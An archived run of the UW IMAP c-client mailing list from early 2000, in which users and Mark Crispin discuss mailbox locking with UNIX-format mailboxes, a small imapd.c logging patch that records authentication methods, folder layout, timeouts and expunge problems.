see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 23 09:57:28 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Feb 2000 09:57:28 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA11398 for ; Wed, 23 Feb 2000 09:57:27 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA07881; Wed, 23 Feb 2000 09:57:25 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA10280; Wed, 23 Feb 2000 09:55:47 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA46398 for ; Wed, 23 Feb 2000 09:51:48 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (dfb@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA07960 for ; Wed, 23 Feb 2000 09:51:48 -0800 Message-Id: Date: Wed, 23 Feb 2000 09:48:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Frederic Bongat Cc: c-client@u.washington.edu Subject: re: connection pb with pine and outlook to imap server In-Reply-To: <38B38874.ED6036A4@poly.in2p3.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Feb 2000 08:12:52 +0100, Frederic Bongat wrote: > 'Lost mailbox Lock' Port : Securise SSL : non ^^^^^^^^^^^^^^^^^ "Lost mailbox lock" is the key to what happened. Somehow, you opened more than one session to the mailbox at the same time. You can only have one session at a time to a traditional UNIX-format mailbox. When you opened the second session, it killed the first session, and that is what caused the results in Pine and Outlook. So, you need to find out what created the second session, and prevent it. The most likely culprit is a "check for new mail" task. See if you have a background program that checks for new mail, or if some such option is turned on by Outlook. Either way, disable this "check for new mail". From pinedev@shivax2.cac.washington.edu Wed Feb 23 10:19:09 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Feb 2000 10:19:08 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA13061 for ; Wed, 23 Feb 2000 10:19:07 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA08700; Wed, 23 Feb 2000 10:19:05 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA12317; Wed, 23 Feb 2000 10:17:49 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA37722 for ; Wed, 23 Feb 2000 10:15:10 -0800 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA30340 for ; Wed, 23 Feb 2000 10:15:05 -0800 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id MAA29740; Wed, 23 Feb 2000 12:26:19 -0600 Message-Id: Date: Wed, 23 Feb 2000 12:26:18 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: Mark Crispin Cc: Frederic Bongat , c-client@u.washington.edu Subject: re: connection pb with pine and outlook to imap server In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Gee, I thought that more than one session is allowed.. The c-client seems to handle it pretty well. When I have my Pine open and I simultaneously access my INBOX with a program I wrote using c-client, Pine pops up a message saying that the folder is being accessed by another program and that now everthing is read-only. Did you mean that we shouldnt have some other non-c-client program open the folder at the same time as c-client? Would not this problem be solved if Frederic uses your c-client based inpop3d to get his mail from Outlook? On Wed, 23 Feb 2000, Mark Crispin wrote: > On Wed, 23 Feb 2000 08:12:52 +0100, Frederic Bongat wrote: > > 'Lost mailbox Lock' Port : Securise SSL : non > ^^^^^^^^^^^^^^^^^ > > "Lost mailbox lock" is the key to what happened. > > Somehow, you opened more than one session to the mailbox at the same time. > You can only have one session at a time to a traditional UNIX-format mailbox. > When you opened the second session, it killed the first session, and that is > what caused the results in Pine and Outlook. > > So, you need to find out what created the second session, and prevent it. > > The most likely culprit is a "check for new mail" task. See if you have a > background program that checks for new mail, or if some such option is turned > on by Outlook. Either way, disable this "check for new mail". > From pinedev@shivax2.cac.washington.edu Wed Feb 23 10:27:51 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Feb 2000 10:27:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA05070 for ; Wed, 23 Feb 2000 10:27:50 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA08947; Wed, 23 Feb 2000 10:27:48 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA27178; Wed, 23 Feb 2000 10:23:45 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA32312 for ; Wed, 23 Feb 2000 10:22:39 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (pearl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA15007 for ; Wed, 23 Feb 2000 10:22:39 -0800 Message-Id: Date: Wed, 23 Feb 2000 10:17:01 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Trank Cc: Frederic Bongat , c-client@u.washington.edu Subject: re: connection pb with pine and outlook to imap server In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Feb 2000 12:26:18 -0600 (CST), Mike Trank wrote: > Gee, I thought that more than one session is allowed.. The c-client seems > to handle it pretty well. When I have my Pine open and I simultaneously > access my INBOX with a program I wrote using c-client, Pine pops up a > message saying that the folder is being accessed by another program and > that now everthing is read-only. However, as soon as the other program changes anything in the mailbox file, Pine will probably crash. That "read-only" only behaves reasonably until the other program changes something. The servers (imapd, ipop[23]d) give up immediately. > Did you mean that we shouldnt have some other non-c-client program open > the folder at the same time as c-client? That's also a good idea. > Would not this problem be solved if Frederic uses your c-client based > inpop3d to get his mail from Outlook? No. The best thing is just to avoid opening multiple connections to a mailbox in the traditional UNIX format. Traditional UNIX format has never handled shared access. From pinedev@shivax2.cac.washington.edu Wed Feb 23 10:35:36 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Feb 2000 10:35:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA22841 for ; Wed, 23 Feb 2000 10:35:35 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA09191; Wed, 23 Feb 2000 10:35:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA27901; Wed, 23 Feb 2000 10:34:22 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA49508 for ; Wed, 23 Feb 2000 10:31:54 -0800 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA20240 for ; Wed, 23 Feb 2000 10:31:49 -0800 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id MAA30155; Wed, 23 Feb 2000 12:43:12 -0600 Message-Id: Date: Wed, 23 Feb 2000 12:43:12 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: Mark Crispin Cc: Frederic Bongat , c-client@u.washington.edu Subject: re: connection pb with pine and outlook to imap server In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > No. The best thing is just to avoid opening multiple connections to a mailbox > in the traditional UNIX format. Traditional UNIX format has never handled > shared access. > now that we are on that subject, can you point me to information about converting a Unix server over to one of these more sophisticated mailbox formats described in the docs in the imap software? what exacly is involved? just changing the "procmail" program to something else and being sure to use the c-client pop3 and imap and everything else? Which is the best mailbox format to use? From pinedev@shivax2.cac.washington.edu Wed Feb 23 10:43:50 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Feb 2000 10:43:50 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA20248 for ; Wed, 23 Feb 2000 10:43:48 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA09444; Wed, 23 Feb 2000 10:43:45 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA01174; Wed, 23 Feb 2000 10:41:33 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA11272 for ; Wed, 23 Feb 2000 10:39:24 -0800 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA21788 for ; Wed, 23 Feb 2000 10:39:22 -0800 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.9.3/8.9.3) with ESMTP id UAA78371; Wed, 23 Feb 2000 20:39:20 +0200 (EET) Received: from mbazo.dbnet.ece.ntua.gr (mbazo.dbnet.ece.ntua.gr [147.102.12.8]) by dblab.ece.ntua.gr (8.10.0.Beta12/8.10.0.Beta12) with ESMTP id e1NIdKN02582; Wed, 23 Feb 2000 20:39:20 +0200 (EET) Message-Id: Date: Wed, 23 Feb 2000 20:39:20 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Mike Trank Cc: Mark Crispin , Frederic Bongat , c-client@u.washington.edu Subject: re: connection pb with pine and outlook to imap server In-Reply-To: References: MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 23 Feb 2000 12:43:12 -0600 (CST) Mike Trank wrote: > now that we are on that subject, can you point me to information about > converting a Unix server over to one of these more sophisticated mailbox > formats described in the docs in the imap software? If you decide that your users will view their messages only via IMAP check http://www.carumba.com/imap/ (although these patches may not fit you, they give you an idea ;-) -- Yiorgos Adamopoulos, adamo@ieee.org From pinedev@shivax2.cac.washington.edu Wed Feb 23 19:57:51 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 23 Feb 2000 19:57:50 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id TAA01012 for ; Wed, 23 Feb 2000 19:57:49 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA23866; Wed, 23 Feb 2000 19:57:47 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id TAA07083; Wed, 23 Feb 2000 19:56:42 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id TAA52298 for ; Wed, 23 Feb 2000 19:54:58 -0800 Received: from server07.icaen.uiowa.edu (root@server07.icaen.uiowa.edu [128.255.17.47]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA27873 for ; Wed, 23 Feb 2000 19:54:58 -0800 Received: from server01.icaen.uiowa.edu (server01.icaen.uiowa.edu [128.255.17.41]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id VAA10657; Wed, 23 Feb 2000 21:54:55 -0600 (CST) Received: from is0.icaen.uiowa.edu (is0.icaen.uiowa.edu [128.255.17.25]) by server01.icaen.uiowa.edu (8.8.7/8.7.1) with ESMTP id VAA24586; Wed, 23 Feb 2000 21:54:53 -0600 (CST) Received: (from dbfunk@localhost) by is0.icaen.uiowa.edu (8.8.7-A/client-6.6) id VAA10799.339ED; Wed, 23 Feb 2000 21:54:56 -0600 (CST) Message-Id: Date: Wed, 23 Feb 2000 21:54:55 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: Mark Crispin Cc: stewarta.public@home.com, c-client@u.washington.edu Subject: re: Is there anyway to check if IMAPD is doing md5 authentication ? [nm] In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: dbfunk@icaen.uiowa.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 5 Jan 2000, Mark Crispin wrote: > If the response to the CAPABILITY command includes "AUTH=CRAM-MD5", it offers > MD5 authentication. > I had a slightly different take on that question. If an imapd server offers more than one form of authentication, how can the sys-admin determine which form the users are actually using? After struggling to get GSSAPI to work under HP-UX (needs the krb5-1.1.1 kit), I wanted to know if any of my users were actually using the darnd thing. ;) Looking at the syslogs, I couldn't tell until I added the following hack to imapd.c: *************** *** 413,418 **** } else if (user = cpystr (mail_auth (s,imap_responder,argc,argv))) { state = SELECT; ! syslog (LOG_INFO,"Authenticated user=%.80s host=%.80s", user,tcp_clienthost ()); } --- 413,418 ---- } else if (user = cpystr (mail_auth (s,imap_responder,argc,argv))) { state = SELECT; ! syslog (LOG_INFO,"%.80s Authenticated user=%.80s host=%.80s",s, user,tcp_clienthost ()); } Then I started seeing syslog entries like: Feb 23 21:38:37 server11 imapd[17631]: GSSAPI Authenticated user=rthompso host=l-ecn039.icaen.uiowa.edu [128.255.17.159] Feb 23 21:41:16 server11 imapd[17754]: LOGIN Authenticated user=hsohn host=s-win02.win.icaen.uiowa.edu [128.255.19.28] -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 3133 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 From pinedev@shivax2.cac.washington.edu Thu Feb 24 11:37:20 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Feb 2000 11:37:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA14194 for ; Thu, 24 Feb 2000 11:37:18 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA19539; Thu, 24 Feb 2000 11:37:16 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA07931; Thu, 24 Feb 2000 11:33:38 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA41364 for ; Thu, 24 Feb 2000 11:30:31 -0800 Received: from scanner.helfrich.com (scanner.helfrich.com [204.182.175.16]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA14495 for ; Thu, 24 Feb 2000 11:30:30 -0800 Received: (from corey@localhost) by scanner.helfrich.com (8.9.3/8.9.3) id LAA00300 for c-client@u.washington.edu; Thu, 24 Feb 2000 11:37:55 -0800 Message-Id: <20000224113755.X30592@helfrich.com> Date: Thu, 24 Feb 2000 11:37:55 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Corey To: c-client@u.washington.edu Subject: Two questions Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN New to the list, deciding whether to replace our current Cyrus IMAP with UW's IMAP and have two simple questions before proceding any further: ( I searched through the Archive already, apologies for not answering my own questions... ) 1 - Does UW IMAP support parallel folders, outside of the INBOX folder? i.e.: +Afolder +Blah +Inbox +Lists +Misc rather than: -INBOX +Afolder +lah +Lists +Misc 2 - Does UW IMAP allow for nested folders? Thanks so much, Corey -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 24 12:07:03 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Feb 2000 12:07:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA08599 for ; Thu, 24 Feb 2000 12:07:01 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA11668; Thu, 24 Feb 2000 12:06:58 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA22936; Thu, 24 Feb 2000 12:03:22 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA46814 for ; Thu, 24 Feb 2000 12:00:25 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (dbi@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA02893 for ; Thu, 24 Feb 2000 12:00:24 -0800 Message-Id: Date: Thu, 24 Feb 2000 11:52:00 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Corey Cc: c-client@u.washington.edu Subject: re: Two questions In-Reply-To: <20000224113755.X30592@helfrich.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Feb 2000 11:37:55 -0800, Corey wrote: > 1 - Does UW IMAP support parallel folders, outside of the INBOX folder? > 2 - Does UW IMAP allow for nested folders? UW imapd doesn't "support" or "not support" either of these; this is all a function of the underlying mail store and the driver which supports that mail store. It is, for example, quite possible to write a Cyrus driver for UW imapd that would look just like Cyrus. Nobody has done so; if you want Cyrus you might as well run Cyrus. The default mail store is the traditional UNIX format of mail; and the default namespace is the UNIX filesystem, with the addition of the special name "INBOX" so you don't have to remember /var/spool/mail/corey. If the name isn't "INBOX", it's treated as a UNIX file name, cd'd to the user's UNIX home directory. So, you need to answer your questions in the context of "how does a UNIX filesystem work?". The traditional UNIX format of mail is not the only mail store supported by UW imapd; and you can easily add your own. For example, some third-parties offer maildir support. It is, however, true that UW imapd's primary focus has been to export the view of a UNIX shell user. Some people have misconstrued it into "does not support", when in reality it is "traditional UNIX format does not support". From pinedev@shivax2.cac.washington.edu Thu Feb 24 12:16:24 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Feb 2000 12:16:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA19190 for ; Thu, 24 Feb 2000 12:16:23 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA11979; Thu, 24 Feb 2000 12:16:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA10691; Thu, 24 Feb 2000 12:14:41 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA37122 for ; Thu, 24 Feb 2000 12:12:46 -0800 Received: from scanner.helfrich.com (scanner.helfrich.com [204.182.175.16]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA06475 for ; Thu, 24 Feb 2000 12:12:46 -0800 Received: (from corey@localhost) by scanner.helfrich.com (8.9.3/8.9.3) id MAA00524 for c-client@u.washington.edu; Thu, 24 Feb 2000 12:20:11 -0800 Message-Id: <20000224122011.A385@helfrich.com> Date: Thu, 24 Feb 2000 12:20:11 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Corey To: c-client@u.washington.edu Subject: Re: Two questions In-Reply-To: ; from MRC@CAC.Washington.EDU on Thu, Feb 24, 2000 at 11:52:00AM -0800 References: <20000224113755.X30592@helfrich.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN And upon Thursday of February 24, the illustrious Mark Crispin spake thusly: > On Thu, 24 Feb 2000 11:37:55 -0800, Corey wrote: > > 1 - Does UW IMAP support parallel folders, outside of the INBOX folder? > > 2 - Does UW IMAP allow for nested folders? > > UW imapd doesn't "support" or "not support" either of these; this is all a > function of the underlying mail store and the driver which supports that mail > store. Ok -- looks like I'll be downloading the source distribution and eyeball/toy-around with the implementation details myself ... as I figured I should've done anyhow - heh. Thanks for the quick response. Beers! Corey -- "Remember that the P in Perl stands for Practical. The P in Python doesn't seem to stand for anything." -- Randal Schwartz From pinedev@shivax2.cac.washington.edu Sun Feb 27 23:07:44 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 27 Feb 2000 23:07:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA06624 for ; Sun, 27 Feb 2000 23:07:42 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA20123; Sun, 27 Feb 2000 23:07:39 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id XAA02434; Sun, 27 Feb 2000 23:06:45 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id XAA22218 for ; Sun, 27 Feb 2000 23:04:36 -0800 Received: from polsmtp.in2p3.fr (polsmtp.in2p3.fr [193.48.94.3]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA25834 for ; Sun, 27 Feb 2000 23:04:33 -0800 Received: from poly.in2p3.fr (naiade.in2p3.fr [193.48.94.171]) by polsmtp.in2p3.fr (8.9.3/8.9.3) with ESMTP id IAA24924 for ; Mon, 28 Feb 2000 08:02:22 +0100 Message-Id: <38BA1D8C.8B6C4DD8@poly.in2p3.fr> Date: Mon, 28 Feb 2000 08:02:36 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frederic Bongat To: c-client@u.washington.edu Subject: Pb : Inbox closed with pine MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: bongat@poly.in2p3.fr X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN When I stayed with pine on my Inbox a long time (several minutes), I have the messages : [MAIL FOLDER "Server INBOX" CLOSED DUE TO ACCESS ERROR] And so I want to read my Inbox again, I don't see more the messages, but only the headers. Is there a timeout to change ? The connection couldn't permanent ? How can I change that in the Imap source ? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 1 09:40:05 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Mar 2000 09:40:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA22706 for ; Wed, 1 Mar 2000 09:40:04 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA14139; Wed, 1 Mar 2000 09:39:58 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA25874; Wed, 1 Mar 2000 09:38:32 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA19096 for ; Wed, 1 Mar 2000 09:36:05 -0800 Received: from mail.infohouse.com (mail.infohouse.com [204.143.176.4]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA15130 for ; Wed, 1 Mar 2000 09:36:05 -0800 Received: from coyote (fwgw.tempest.com [204.143.178.246]) by mail.infohouse.com (Post.Office MTA v3.5.3 release 223 ID# 141-59479U3500L350S0V35) with SMTP id com for ; Wed, 1 Mar 2000 12:25:19 -0500 Message-Id: <000601bf83a5$1272a910$168aa8c0@tempest> Date: Wed, 1 Mar 2000 12:39:17 -0500 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Joel Park" To: Subject: unable to expunge MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've been trying to expunge e-mail out of an account. I mark the message as deleted with mail_setflag(). However, when I use mail_expunge(), the messages are still in the mailbox. Please advise what I could be doing wrong. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: 